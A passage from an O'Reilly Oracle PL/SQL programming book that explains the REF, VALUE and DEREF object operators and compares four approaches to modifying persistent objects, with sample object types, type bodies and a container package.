--------------------------------
5661E312079811D19F35006097646884

SELECT SYS_NC_ROWINFO$ FROM foos;

SYS_NC_ROWINFO$(ID, BARS)
---------------------------------------------
FOO_T(1, BAR_T('apple', 'banana', 'cherry'))

Oracle provides constructs such as REF( ) and VALUE( ) so you don't need direct access to these hidden columns. In fact, you can get the constructor out of SYS_NC_ROWINFO$ in an Oracle-supported manner as follows:

SELECT VALUE(f) FROM foos f;

VALUE(F)(ID, BARS)
---------------------------------------------
FOO_T(1, BAR_T('apple', 'banana', 'cherry'))

18.4.2.2 REFs

Oracle8 "reference" datatypes are destined to cause more than a few knitted brows in the Oracle user community. The confusion starts with the fact that REF has two different yet related meanings, depending on context. Toss in the fact that some objects have REFs and some don't. It's best to invest a little extra time early on to understand REFs if you want to avoid increasing your gray hair count (or, in my case, the size of my forehead).

The main reason that the reference concept is so critical is that REFs are the best way of uniquely referring to object instances. REFs are the way that we "see" object identifiers. REFs are the basis of object relationships and object "joins."

18.4.2.2.1 REF as operator

In a SQL statement, when you need to retrieve a table object's unique identifier, you will use REF. In this case, REF operates on a row object, accepting as its argument a table alias (also known as a correlation variable ). As hinted earlier, REF cannot operate on column objects or otherwise nested objects, because such objects do not have an OID. REFs are constructed from (but are not identical to) OIDs; only objects with OIDs get to have REFs pointing to them.

Syntactically, to retrieve a pointer from a table of objects, you will use:

REF(table_alias_name)

as in

SELECT REF(p)
  FROM pets p     -- uses table alias "p"
 WHERE ...

While you can choose any unambiguous SQL identifier for the table alias, a short alias is generally more readable. In most cases in this book, we use a single letter.

But retrieving a REF is not terribly useful in and of itself unless you happen to like looking at long hex strings. More typically, REFs are used like a foreign key. To assign a value to a REF field, we must first retrieve the value from the object table:

DECLARE
   person_ref REF Person_t;
   CURSOR pref_cur IS
      SELECT REF(p)
        FROM persons p
       WHERE last_name = 'RADCLIFF';
BEGIN
   OPEN pref_cur;
   FETCH pref_cur INTO person_ref;
   CLOSE pref_cur;
   INSERT INTO pets VALUES (Pet_t(10234, 'Wally', 'Blue whale',
      'M', null, null, person_ref));
END;

Or, more concisely:

INSERT INTO pets
   SELECT Pet_t(10234, 'Wally', 'Blue whale',
      'M', null, null, REF(per))
     FROM persons per
    WHERE last_name = 'RADCLIFF';

Then, after your data is loaded, you could retrieve an attribute or member function of the referenced object via a join.

SELECT p.tag_no, per.full_name()
  FROM pets p,
       persons per
 WHERE p.owner_ref = REF(per);

But wouldn't you be happier using Oracle's ability to traverse REFs automatically?

SELECT tag_no, p.owner_ref.full_name()         -- cool!
  FROM pets p;

This illustration (which does work, by the way) shows how Oracle SQL elegantly supports object navigation across REFs, something not directly allowed in PL/SQL. This is some of "the neat stuff" that the object extensions provide. Most people will find this chained dot nomenclature much more intuitive and easier to maintain over the long run than the equivalent explicit join.

By the way, the two versions of this "join" are not exactly identical. The first, with the explicit join, performs an "equi-join," which means that if the owner_ref column is null or dangling, the record (object) will not appear in the result set. However, the second, with dot navigation, performs an "outer join," meaning that a null or dangling owner_ref will simply cause the full_name field to show up null.

NOTE: REFs are not foreign keys. As previously discussed and as illustrated in Table 18.2, the differences between REFs and foreign keys are significant. You will need to give some thought to how you are going to prevent dangling REFs.

18.4.2.2.2 REF as type modifier

To hold a REF in a local variable, declare the variable of type REF object_name, and assign it via fetch or assignment from another REF that points to the same type. This example of REF as a "type modifier" shows that you can assign REFs using fetches and direct assignment, as you would expect.

DECLARE
   pet_ref REF Pet_t;
   hold_pet_ref REF Pet_t;
BEGIN
   -- example of assignment via fetch
   SELECT REF(p) INTO pet_ref
     FROM pets p
    WHERE...

   -- example of direct assignment
   hold_pet_ref := pet_ref;

What about local object type variables? At first blush, it might seem that you should be able to do something like the following:

DECLARE
   our_house Address_t := Address_t('123 Main','AnyTown','TX','USA');
   house_ref REF Address_t;
BEGIN
   house_ref := REF(our_house);  -- invalid

You can't get the REF to an object variable which exists only in a PL/SQL program. REFs are constructed from an object's OID, and transient objects don't have such a pointer.

If they are so much trouble, what good are REFs? As mentioned earlier, REFs are the only supported way of getting at OIDs. And despite the dangling REF problem, if you want to "normalize" an object-oriented design so that objects can be shared, you will have to use REFs. In addition, a REF is an efficient and lightweight means of passing object information as a parameter. That is, if you pass only the pointer, you avoid the overhead of allocating memory for a copy of the object contents. Be aware that passing a REF can allow the called program to change the object's contents, something you may or may not intend.

18.4.2.3 VALUE

Like REF, the VALUE operator also accepts a table alias as its argument. However, VALUE retrieves the value of an object (for example, to create a copy of it) via SQL.

To understand what VALUE does, first consider what happens if you apply pre-Oracle8 techniques to an object table:

DECLARE
   CURSOR h_cur IS
      SELECT *
       FROM houses;               -- houses is an object table
   their_house h_cur%ROWTYPE;
BEGIN
   OPEN h_cur;
   FETCH h_cur INTO their_house;

These non-object calls work fine even though "houses" is an object table. This is one demonstration of the relational side of an "object-relational database." But their_house is a record variable, not an object.[15] If you later wanted to take advantage of objects in PL/SQL, your code would be ill-prepared.

[15] If you wanted an object variable built from the their_house record variable, you could declare the variable of type Address_t, and initialize it, using the Address_t constructor, from the elements in their_house.

To use a local variable that has been typed as an object, you must declare it to be of the same datatype on which you have defined the table object, and you must use the VALUE operator:

DECLARE
   some_house Address_t;
   CURSOR h_cur IS
      SELECT VALUE(h)
        FROM houses h;
BEGIN
   OPEN h_cur;
   FETCH h_cur INTO some_house;
   -- Attributes are available using dot notation
   IF some_house.city IS NULL THEN ...

This code begs the question: What is the difference between the "value" of an object and the object itself? Why is VALUE necessary at all?

Without VALUE, the retrieval of data in object tables would be ambiguous. You therefore have to tell Oracle whether you want the attributes or the whole object. SELECTing a table object without the VALUE operator retrieves the attributes of the object, while using the VALUE retrieves the entire object as an object.

Omitting VALUE fails if we try to fetch columns directly into an object variable:

DECLARE
   some_house Address_t;
   CURSOR h_cur IS
      SELECT *
        FROM houses;
BEGIN
   OPEN h_cur;
   FETCH h_cur INTO some_house;    --invalid; type mismatch
...

It's worth pointing out that even if we fetch an object as an object from the database, we still can't get to the REF from the local object variable. This is unfortunate. In other words, I would like the following to be possible:

DECLARE
   some_house Address_t;
   some_house_ref REF Address_t;
   CURSOR h_cur IS
      SELECT VALUE(h)
        FROM houses h;
BEGIN
   OPEN h_cur;
   FETCH h_cur INTO some_house;
   some_house_ref := REF(some_house);   --  invalid

Perhaps Oracle will consider adding this functionality to a future release. Until then, the workaround is simple enough:

DECLARE
   some_house Address_t;
   some_house_ref REF Address_t;
   CURSOR h_cur IS
      SELECT VALUE(h), REF(h)
        FROM houses h;
BEGIN
   OPEN h_cur;
   FETCH h_cur INTO some_house, some_house_ref;
   CLOSE h_cur;
END;

NOTE: VALUE does not apply to column objects, since retrieving a column object unambiguously retrieves an object value.

18.4.2.4 DEREF

DEREF is the "dereference" operator. Like VALUE, it returns the value of an object; unlike VALUE, DEREF's input is a REF to an object. That is, if you have a REF column in a table and you want to retrieve the target instead of the pointer, you use DEREF. It "un-does" a REF. Consider the following example which, as we noted earlier, fails to compile:

DECLARE
   the_dalmatian Pet_t;
BEGIN
   SELECT VALUE(p) INTO the_dalmatian
     FROM pets p
    WHERE name = 'Cerberus';
   IF the_dalmatian.owner_ref.first_name = 'Persephone'  -- invalid
   THEN...

This can be "fixed" using DEREF as follows:

DECLARE
     the_owner Person_t;
BEGIN
   SELECT DEREF(owner_ref) INTO the_owner
     FROM pets
    WHERE name = 'Cerberus';
   IF the_owner.first_name = 'Persephone'

   THEN...

Previous: 18.3 Syntax for Creating Object Types | Oracle PL/SQL Programming, 2nd Edition | Next: 18.5 Modifying Persistent Objects
18.3 Syntax for Creating Object Types | Book Index | 18.5 Modifying Persistent Objects
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 18] 18.5 Modifying Persistent Objects

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

18.5 Modifying Persistent Objects

Just because you decide to use objects, don't think that your design decisions are over. On the contrary, the fun is just beginning. One of the core design options you must confront (consciously or not) is this: "Just how object-oriented do I want to make the PL/SQL in my applications?" When dealing with persistent data, this question translates (at least partially) into "Where should I allow modifications?" It is this second question that is the topic of this section.

There are four architectures discussed below, but they certainly don't represent all the possibilities.

Approach 1

Permit full use of conventional SELECT, INSERT, UPDATE, and DELETE statements on your persistent objects. Other than using complex datatypes, the objects option will, in this case, look a lot like conventional relational approaches. At this end of the spectrum, you don't even have to define any methods...but you pay a price.

Approach 2

Permit limited use of conventional SQL, but invoke the constructor method in INSERT, and create various UPDATE methods which will be invoked in clauses of UPDATE statements. Use DELETE as above. This is a better way to go, since you can rely at least partially on the core logic you embed in the methods. However, you still rely on application programmers to invoke the methods properly.

Approach 3

Implement all data manipulations via methods, including all DML on persistent object tables (or at least make an attempt to do so). If you come from an object shop, this might be your preferred approach. This approach absolutely commits you to an object bias in your applications. However, it ties the object type to a particular implementation, which might limit reuse.

Approach 4

Design the object methods to avoid references to persistent object tables, instead acting only on the SELF object and on data exchanged via method arguments. Construct PL/SQL "container" packages to manage your persistent object tables (this is similar to what you could do in Oracle7), but code these packages to reuse logic that is localized in the object type definition. When a PL/SQL application needs to manipulate persistent data, it must call the package; when it simply needs to perform an operation on a transient object variable, it will typically invoke a method. Approach 4 has a number of advantages over Approach 2 above; notably, it further increases the likelihood that application programmers will invoke the proper call in their code.

NOTE: Although the crystal ball isn't talking, a fifth approach may make a great deal of sense once Oracle supports inheritance. It might be possible to implement persistent object types as subtypes of the corresponding transient object type. Doing so could potentially provide the benefits of encapsulation and reuse while circumventing difficult schema evolution problems. (That is, subtypes should be capable of specializing behavior of their supertypes so you don't have to rebuild the entire dependency tree every time you make slight modifications in object specifications.)

The examples that follow abandon our friends at the pet shop and move on to looking at documents as objects. We will use only a few attributes; the important thing to watch is how we use Oracle features to allow the manipulation of the object data, while still protecting it.

18.5.1 Approach 1: Permit Full Use of Conventional SQL

This scheme, illustrated in Figure 18.1, is characterized by ultimate flexibility. It allows any application to use whatever SQL the programmer feels is necessary to achieve the desired result. It requires little or no coordination among programmers, although they will (you hope) be coding against a shared database design.

CREATE OR REPLACE TYPE Doc_t AS OBJECT (
   doc_id INTEGER,
   name VARCHAR2(512),
   author VARCHAR2(60),
   url VARCHAR2(2000),
   publication_year INTEGER(4)
);

CREATE TABLE docs OF Doc_t
   (PRIMARY KEY (doc_id));

Figure 18.1: Approach 1 (full use of SQL)

It is certainly possible to go wild with SQL, as if we weren't using objects at all. Various applications might be issuing DML as they see fit.

An Oracle Forms application might be issuing inserts...

INSERT INTO docs VALUES (1001, 'Great Expectations', 'Charles Dickens',
   'http://www.literature.org/Works/Charles-Dickens/
    great-expectations/', 1861);

INSERT INTO docs VALUES(42, 'The Hitchhiker''s Guide to the Galaxy',
   'Douglas Adams', 'http://www.bxscience.edu/~grollman/trilogy/
    Hitchhikers.Guide.to.the.Galaxy', 1979);

...while an application programmer is working in SQL*Plus...

UPDATE docs SET author = 'Chuck Dickens' WHERE doc_id = 1001;

SELECT * FROM docs WHERE author LIKE '%Adams';

...and a Pro*C application is deleting data that's not in the mainframe any more:

DELETE docs WHERE doc_id = 42;

Does this possibly look a lot like what you've been doing for years? Consider for a moment the problems this might cause. First, allowing any application to issue any DML statement under the sun makes it difficult simply to assess the impact of a schema change, not to mention the actual cost and time to implement the change. Second, there is little hope of reusing DML statements since there is no central, controlled superstructure in place to facilitate code sharing. And what happens if you discover "bad data" in the database, which might be the result of a bug in an UPDATE statement in some application? Since DML can get mind-numbingly complex, simply locating buggy SQL can be a frustrating, costly process.

With an undisciplined approach, a database system of any substantial size -- regardless of whether the database is relational or object-relational -- may not survive the weight of its own maintenance.

18.5.2 Approach 2: Define Methods and Permit Limited Use of Conventional SQL

By adding methods to your objects, you can publicly announce to other programmers that you will maintain a standard, controlled interface to an object, and that if they use the methods you have defined, they and you will be less prone to getting slapped with maintenance work later on. Figure 18.2 illustrates how clients in this second approach invoke their own DML statements, but use method calls in these statements.

Figure 18.2: Approach 2 (methods and limited SQL)

Looking at a code sample, the set_author method below can be used in an UPDATE statement:

CREATE OR REPLACE TYPE Doc_t AS OBJECT (
   doc_id INTEGER,
   name VARCHAR2(512),
   author VARCHAR2(60),
   url VARCHAR2(2000),
   publication_year INTEGER(4),
   -- we return the entire object so methods can be chained if needed
   MEMBER FUNCTION set_author (new_author VARCHAR2) RETURN Doc_t,
   PRAGMA RESTRICT_REFERENCES (set_author, RNDS,WNDS,RNPS,WNPS)
);

CREATE OR REPLACE TYPE BODY Doc_t AS
   MEMBER FUNCTION set_author (new_author VARCHAR2) RETURN Doc_t
   IS
      the_doc Doc_t := SELF;
   BEGIN
      the_doc.author := new_author;
      RETURN the_doc;
   END set_author;
END;

Application DML might look like the following. Inserts are straightforward enough, using the default constructor:

INSERT INTO docs VALUES (Doc_t(1005, 'The Tempest',
   'William Shakespeare', 'http://the-tech.mit.edu/Shakespeare/Comedy/
    tempest/thetempest.html', 1611));

Or even (just to illustrate the point):

INSERT INTO docs SELECT VALUE(d) FROM docs d;

Yes, the previous statement duplicates all the objects in the docs table.

In SQL, you can invoke a method in an UPDATE statement in a straightforward fashion. To change all of Shakespeare's documents so that I am the author, the following statement will do the job. Notice the use of the table alias d as the placeholder for the "current" object.

UPDATE docs d
   SET d = d.set_author('Bill')
 WHERE d.author = 'William Shakespeare';

Deleting a persistent object in this second approach is just like the first approach:

DELETE docs WHERE doc_id = 1001;

Or in PL/SQL, if we already have a REF in the doc_ref variable, we could delete as follows:

DELETE docs d WHERE REF(d) = doc_ref;

How does Approach 2 insulate applications from change? It's not hard to see that if we later implement a business rule regarding changing authors -- for example, it's illegal to alter the author of anything written prior to 1900 -- we need only recode the method. When dealing with persistent objects, you will rightly point out, this sort of restriction can be coded using database triggers or stored procedures; however, triggers are no help at all if you want to enforce rules on transient objects.

Overall, this second approach, while improved, still leaves much to be desired, since it still relies heavily on programmer discipline to use the object methods in their DML statements.

18.5.3 Approach 3: Do Everything via Methods

If you are wedded to object technology, this approach (illustrated in Figure 18.3) may be for you, although it poses some challenges. In the sample code, notice that every DML statement will occur via a procedure call. Remember that DML can only be executed in member procedures because Oracle does not allow functions to modify the database.

Figure 18.3: Approach 3 (everything via methods)

Rather than look at the full code of the object specification and body, let's look first at a client executing a single operation: change the name of the author. You would want a very simple call where you provide only the name of the new author. In other words, the call might ideally be invoked something like this:

DECLARE
   the_doc_ref REF Doc_t;
BEGIN
   SELECT REF(d) INTO the_doc_ref
     FROM docs d
    WHERE d.doc_id = 1001;
   the_doc_ref.set_author('me');   --  hypothetical call; is invalid
END;

Here, "set_author" is a proposed method of the Doc_t object. Set_author would know how to update the database object corresponding to the_doc_ref. Whoops! Did you forget? You cannot navigate the database through REF variables. And the_doc_ref is certainly a REF variable, so you can't use it in place of an object.

Let's look at this from the other side now. What could we do in the object definition to make an update work easily?

Here again is the specification, which we won't change (yet):

CREATE OR REPLACE TYPE Doc_t AS OBJECT (
   doc_id INTEGER,
   name VARCHAR2(512),
   author VARCHAR2(60),
   url VARCHAR2(2000),
   publication_year INTEGER(4),
   MEMBER PROCEDURE set_author (new_author IN VARCHAR2)
);

And here is the body, with a new, but so far incomplete, UPDATE statement:

CREATE OR REPLACE TYPE BODY Doc_t
AS
   MEMBER PROCEDURE set_author (new_author IN VARCHAR2)
   IS
   BEGIN
      /* First update the transient object */
      SELF.author := new_author;

      /* Now update the persistent object  */
      UPDATE docs d SET author = new_author
       WHERE ???
   END;
END;

What exactly do we put in the WHERE clause? You could try this:

WHERE d = SELF;

But then you are doing an object comparison that could be problematic if you have defined a MAP member function. Think about it: MAP only provides some scalar mapping of some object characteristics, and it is possible to have different objects with the same MAPped value!

So what you might think of next is using a REF to the object:

WHERE REF(d) = REF(SELF);

The problem with this WHERE clause is that you can't get the REF of SELF, since SELF is not a table alias; logically, it also fails because it might not exist as a referenceable object in the database. (It kind of makes sense, but you don't have to like it.)

Now what? What about passing in a REF, something like this:

CREATE OR REPLACE TYPE Doc_t AS OBJECT (
   doc_id INTEGER,
   name VARCHAR2(512),
   author VARCHAR2(60),
   url VARCHAR2(2000),
   publication_year INTEGER(4),
   MEMBER PROCEDURE set_author (new_author IN VARCHAR2,
      doc_ref REF Doc_t)
);

CREATE OR REPLACE TYPE BODY Doc_t
AS
   MEMBER PROCEDURE set_author (new_author IN VARCHAR2,
      doc_ref REF Doc_t)
   IS
   BEGIN
      /* First update the transient object */
      SELF.author := new_author;

      /* Now update the persistent object  */
      UPDATE docs d
         SET author = new_author
       WHERE REF(d) = doc_ref;
   END;
END;

There! That not only compiles, it does what we want. Here's an example of using the member procedure in PL/SQL to update the persistent object:

DECLARE
   my_doc Doc_t;
   my_doc_ref REF Doc_t;
BEGIN
   SELECT VALUE(d), REF(d) INTO my_doc, my_doc_ref
     FROM docs d
    WHERE doc_id = 1001;
   my_doc.set_author('Yogi Bear', my_doc_ref);
END;

It's a little ugly with the extra REF argument in there, but there is no easy way in Oracle8.0 to get to a more "pure" object approach.

Are we finished? What about the possibility that we want to update only the transient object, rather than the persistent object? For example, we might want to set_author from within a SQL SELECT statement. For that, we can simply define a similar member function, which unfortunately cannot have the overloaded same name as the member procedure, since PRAGMA RESTRICT_REFERENCES will attempt to take effect on all modules of the supplied name.

CREATE OR REPLACE TYPE Doc_t AS OBJECT (
   doc_id INTEGER,
   name VARCHAR2(512),
   author VARCHAR2(60),
   url VARCHAR2(2000),
   publication_year INTEGER(4),
   MEMBER FUNCTION set_author (new_author IN VARCHAR2)
      RETURN Doc_t,
   PRAGMA RESTRICT_REFERENCES (set_author, RNDS,WNDS,RNPS,WNPS),

   /* We are changing the name of the procedure below to have "_p"
   ||  on the end, as a mnemonic for Persistent (or Procedure)
   */
   MEMBER PROCEDURE set_author_p (new_author IN VARCHAR2,
      doc_ref REF Doc_t)
);

CREATE OR REPLACE TYPE BODY Doc_t AS
   MEMBER FUNCTION set_author (new_author IN VARCHAR2)
      RETURN Doc_t
   IS
      l_doc Doc_t := SELF;
   BEGIN
      l_doc.author := new_author;
      RETURN l_doc;
   END;

   MEMBER PROCEDURE set_author_p (new_author IN VARCHAR2,
      doc_ref REF Doc_t)
   IS
   BEGIN
      SELF := SELF.set_author (new_author);
      UPDATE docs d
         SET author = new_author
       WHERE REF(d) = doc_ref;
   END;
END;

This code will definitely work. Because of the RESTRICT_REFERENCES, you can use the function in SQL:

SELECT d.set_author('me') FROM docs d;

...and you can use the function from PL/SQL:

DECLARE
   my_doc Doc_t := Doc_t(1,'OPP','Feuerstein',null,null);
BEGIN
   my_doc := my_doc.set_author('Steven Feuerstein');
END;

...and you can use the procedure in PL/SQL, as indicated earlier.

Think for a minute about the possibility that you code a method that changes more than one attribute at a time. You could get a bit more elegant by updating the entire object in the UPDATE statement, rather than using individual assignments in the SET clause.

MEMBER PROCEDURE set_name_and_author (new_name IN VARCHAR2,
   new_author IN VARCHAR2,
   doc_ref IN REF Doc_t) IS
BEGIN
   SELF.name := new_name;
   SELF.author := new_author;
   UPDATE docs d
      SET d = SELF
    WHERE REF(d) = doc_ref;
END;

WARNING: While this code is syntactically correct, it fails in Oracle8.0.3 due to a PL/SQL bug. At press time, summer of 1997, we don't know exactly when this will be fixed -- soon, we hope!

The other "update" methods (for example, set_name, set_url, etc.) in our all-object approach would follow the general patterns we've established so far.

There are two more cases that you'll want to cover: persistent object construction and destruction. These are relatively simple INSERT and DELETE statements, as shown below:

CREATE OR REPLACE TYPE Doc_t AS OBJECT (
   doc_id INTEGER,
   name VARCHAR2(512),
   author VARCHAR2(60),
   url VARCHAR2(2000),
   publication_year INTEGER(4),
   MEMBER PROCEDURE construct_and_save (the_doc_id IN INTEGER,
      the_name IN VARCHAR2, the_author IN VARCHAR2,
      the_url IN VARCHAR2, the_year IN INTEGER,
      doc_ref_out OUT REF Doc_t),
   MEMBER PROCEDURE save (doc_ref_out OUT REF Doc_t),
   MEMBER PROCEDURE destroy (doc_ref IN REF Doc_t),
   MEMBER FUNCTION set_author (new_author IN VARCHAR2)
      RETURN Doc_t,
   PRAGMA RESTRICT_REFERENCES (set_author, RNDS,WNDS,RNPS,WNPS),
   MEMBER PROCEDURE set_author_p (new_author IN VARCHAR2,
      doc_ref REF Doc_t)
);

CREATE OR REPLACE TYPE BODY Doc_t AS
   MEMBER FUNCTION set_author (new_author IN VARCHAR2)
      ...as above

   MEMBER PROCEDURE set_author_p (new_author IN VARCHAR2,
      ...as above

   MEMBER PROCEDURE construct_and_save (the_doc_id IN INTEGER,
      the_name IN VARCHAR2, the_author IN VARCHAR2,
      the_url IN VARCHAR2, the_year IN INTEGER,
      doc_ref_out OUT REF Doc_t)
   IS
   /* Encapsulates the constructor and the INSERT. Note that the
   || values passed in via arguments need not match the initial
   || attributes of SELF. In fact, SELF can be atomically null
   || when you first invoke this method.
   */
   BEGIN
      SELF := Doc_t(the_doc_id, the_name, the_author, the_url,
         the_year);
      SELF.save(doc_ref_out);
   END;

   MEMBER PROCEDURE save (doc_ref_out OUT REF Doc_t)
   IS
   /* Use this one for the INSERT if you have already invoked
   || the constructor and have a doc object in a variable.
   || The RETURNING clause returns the object's OID into the
   || host variable doc_ref.
   */
   BEGIN
      INSERT INTO docs d VALUES (SELF)
         RETURNING REF(d) INTO doc_ref_out;
   END;

   MEMBER PROCEDURE destroy (doc_ref IN REF Doc_t)
   IS
   /* Note that we are passing in a REF that might not match
   || whatever might be in SELF. It is up to the calling module to
   || be aware of this idiosyncrasy.
   */
   BEGIN
      SELF := NULL;
      DELETE docs d
       WHERE REF(d) = doc_ref;
   END;
END;

When you store an object using the "save" procedure above, you will have already created an in-memory version of the object using the default constructor or other means. Contrast this with "construct_and_save."

As noted in the comments, the RETURNING clause of the INSERT statement returns the REF identifier of the newly created object into a program variable. Since this is a very useful value, we return it to the calling program using an OUT parameter. (RETURNING is a new feature of SQL in Oracle8 that allows us to retrieve data on INSERT, UPDATE, and DELETE statements. It's useful not only for returning a REF but also for returning other generated column values such as those computed by database triggers.)

When you "destroy" an object in a program, you simply assign NULL to the object. This returns its state to "atomically null," which is the nonvalue the object would have if you had never constructed it. Oracle does not supply any sort of "destructor" method.

Let's step back and think about the "method-only" approach. Making the object type responsible for its own persistence seems like a good idea. But this code assumes that your Doc_t object type will be intimately tied to the "docs" table. Is that a reasonable assumption? There is nothing in Oracle that forces you to implement the Doc_t object type only one time. If you ever decide to reuse the object types, which you probably will, our "method-only" approach could run into problems.

Maybe you could define an argument to indicate which table(s) needs to receive the data change. You could wind up with messy IF tests and multiple UPDATE statements or, at best, dynamic SQL to apply the change to multiple tables. Worse, you could end up having to drop and rebuild your object tables to accommodate the changes in method specifications (see Section 18.6.3, "Schema Evolution" later on). Very un-object-oriented.

But what is the alternative? Any way you code it, managing the persistent data in multiple object tables defined on the same object type will be more trouble than a single table. You could allow rampant DML statements, which we have already poo-poo'd as the moral equivalent of global variables. Perhaps we could make our code "more object-oriented" if the Oracle objects option allowed inheritance. That way, we might be able to have an object table managed by a child object type. The parent would manage only transient objects, and the children would manage persistent objects.

As we'll see in Approach 4, another method is to rely on the "other" object features of the language that you can find in packages. By using object types for nonpersistent transient data only, you can avoid a number of thorny issues, at the possible expense of clouding your abstraction.

18.5.4 Approach 4: Use an Object and a PL/SQL Container Package

If you typically program with packages, this approach (illustrated in Figure 18.4) will look familiar, and you should feel free to pat yourself on the back. If you don't use packages, you should seriously consider their benefits (see Chapter 16), which can include many of the same advantages of objects.

In this scheme, we eliminate all references to persistent data from the object definition and body. Instead, we write a PL/SQL package that will manage our object tables. By separating the layer that manages persistence (the package) from the layer that manages objects (the object type), we have a closer fit of PL/SQL with Oracle's object model, especially if we intend to reuse object type definitions. In addition, we gain access to REF CURSORs, which allow the encapsulation of complicated SELECT statements.

Figure 18.4: Approach 4 (object and PL/SQL container package)

Let's start with the type definition, with only the single archetypal set_author function illustrated:

CREATE OR REPLACE TYPE Doc_t AS OBJECT (
   doc_id INTEGER,
   name VARCHAR2(512),
   author VARCHAR2(60),
   url VARCHAR2(2000),
   publication_year INTEGER(4),
   MEMBER FUNCTION set_author (new_author IN VARCHAR2)
      RETURN Doc_t
);

And the body, which might be very familiar by now:

CREATE OR REPLACE TYPE BODY Doc_t AS
   MEMBER FUNCTION set_author (new_author IN VARCHAR2) RETURN Doc_t
   IS
      the_doc Doc_t := SELF;
   BEGIN
      the_doc.author := new_author;
      RETURN the_doc;
   END set_author;
END;

We can create an object table that will hold "appraisal" document objects, as long as they fit the Doc_t definition, and design the package without disturbing the object type:

CREATE TABLE appraisals OF Doc_t
   (PRIMARY KEY (doc_id));

The specification of our package to manage the persistent appraisal data could go something like this:

CREATE OR REPLACE PACKAGE manage_appraisal AS
   /* Allow creation of an appraisal document */
   PROCEDURE create_one (doc_id_in INTEGER, name_in VARCHAR2,
      author_in VARCHAR2, url_in VARCHAR2,
      publication_year_in INTEGER, doc_ref_out OUT REF Doc_t);

   /* Look up an appraisal based on its document ID  */
   FUNCTION find_doc_by_id (doc_id_in INTEGER) RETURN Doc_t;

   /* Look up an appraisal's REF based on its document ID  */
   FUNCTION find_doc_ref_by_id (doc_id_in INTEGER) RETURN REF Doc_t;

   /* Overload the update procedures to accommodate any of:
   ||    1) "primary key" style identification
   ||    2) identification by object
   ||    3) identification by object REF
   */
   PROCEDURE set_one_author (doc_id_in IN INTEGER,
      new_author_in IN VARCHAR2);
   PROCEDURE set_one_author (doc_in IN Doc_t,
      new_author_in IN VARCHAR2);
   PROCEDURE set_one_author (docref_in IN REF Doc_t,
      new_author_in IN VARCHAR2);

   /* You could define other "set_one" update procedures here
   || for other attributes...
   */

   -- don't forget about the deletions!
   PROCEDURE delete_one (doc_id_in IN INTEGER);
   PROCEDURE delete_one (doc_in IN Doc_t);
   PROCEDURE delete_one (docref_in IN REF Doc_t);
END;

And the body:

CREATE OR REPLACE PACKAGE BODY manage_appraisal AS
   PROCEDURE create_one (doc_id_in INTEGER, name_in VARCHAR2,
      author_in VARCHAR2, url_in VARCHAR2,
      publication_year_in INTEGER, doc_ref_out OUT REF Doc_t) IS
   BEGIN
      INSERT INTO appraisals a VALUES (Doc_t(doc_id_in, name_in,
         author_in, url_in, publication_year_in))
         RETURNING REF(a) INTO doc_ref_out;
   END create_one;

   FUNCTION find_doc_by_id (doc_id_in IN INTEGER) RETURN Doc_t IS
      doc Doc_t;
      CURSOR doc_cur IS SELECT VALUE(a) FROM appraisals a
         WHERE doc_id = doc_id_in;
   BEGIN
      OPEN doc_cur;
      FETCH doc_cur INTO doc;
      CLOSE doc_cur;
      RETURN doc;
   END find_doc_by_id;

   FUNCTION find_doc_ref_by_id (doc_id_in IN INTEGER)
      RETURN REF Doc_t IS
      doc_ref REF Doc_t;
      CURSOR doc_cur IS SELECT REF(a) FROM appraisals a
         WHERE doc_id = doc_id_in;
   BEGIN
      OPEN doc_cur;
      FETCH doc_cur INTO doc_ref;
      CLOSE doc_cur;
      RETURN doc_ref;
   END find_doc_ref_by_id;

   /* Unfortunately, the PL/SQL bug mentioned earlier prevents the
   || next three procedures from compiling. The error message is
   || "PLS-00382: expression is of wrong type." Until Oracle fixes
   || this problem, a conventional update statement will do the job,
   || although it will violate encapsulation and bypass the set_author
   || method.
   */
 PROCEDURE set_one_author (doc_id_in IN INTEGER,
      new_author_in IN VARCHAR2) IS
   BEGIN
      UPDATE appraisals a
         SET a = a.set_author(new_author_in)
       WHERE doc_id = doc_id_in;
   END set_one_author;

   PROCEDURE set_one_author (doc_in IN Doc_t,
      new_author_in IN VARCHAR2) IS
   BEGIN
      UPDATE appraisals a
         SET a = a.set_author(new_author_in)
       WHERE doc_id = doc_in.doc_id;
   END set_one_author;

   PROCEDURE set_one_author (docref_in IN REF Doc_t,
      new_author_in IN VARCHAR2) IS
   BEGIN
      UPDATE appraisals a
         SET a = a.set_author(new_author_in)
       WHERE REF(a) = docref_in;
   END set_one_author;

   PROCEDURE delete_one (doc_id_in INTEGER) IS
   BEGIN
      DELETE appraisals
       WHERE doc_id = doc_id_in;
   END delete_one;

   PROCEDURE delete_one (doc_in Doc_t) IS
   BEGIN
      DELETE appraisals
       WHERE doc_id = doc_in.doc_id;
   END delete_one;

   PROCEDURE delete_one (docref_in REF Doc_t) IS
   BEGIN
      DELETE appraisals a
       WHERE REF(a) = docref_in;
   END delete_one;

END manage_appraisal;

An underlying assumption is that you want genuine encapsulation of the persistent data, and that you will grant users only EXECUTE privileges on the package and on the object type. You could further encapsulate the underlying data by declaring public REF CURSOR variables and creating associated procedures that will use them to open and fetch. See Chapter 6, Database Interaction and Cursors, for a discussion of how to do this.

18.5.5 Implications for Developer/2000

One of the challenges of encapsulating DML in packages is that the Oracle application development tools such as Developer/2000 assume that they have full use of SQL to navigate the database and manipulate tables. Oracle Forms' default block functionality relies heavily on this assumption.

Consistently using packages rather than Forms' default processing could force a lot of hand-coding of transactional triggers: on-insert, on-update, and on-delete. You will also need to hand-code your own on-lock trigger. (We haven't explicitly discussed locking in this chapter, but to support the Oracle Forms' transaction model, you would want to add methods or procedures to lock any persistent data that the user begins to change or delete.)

Using a PL/SQL container could be buying your future maintainability at the cost of immediate development productivity -- a tough trade-off!

Previous: 18.4 Manipulating Objects in PL/SQL and SQL | Oracle PL/SQL Programming, 2nd Edition | Next: 18.6 Object Housekeeping
18.4 Manipulating Objects in PL/SQL and SQL | Book Index | 18.6 Object Housekeeping
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

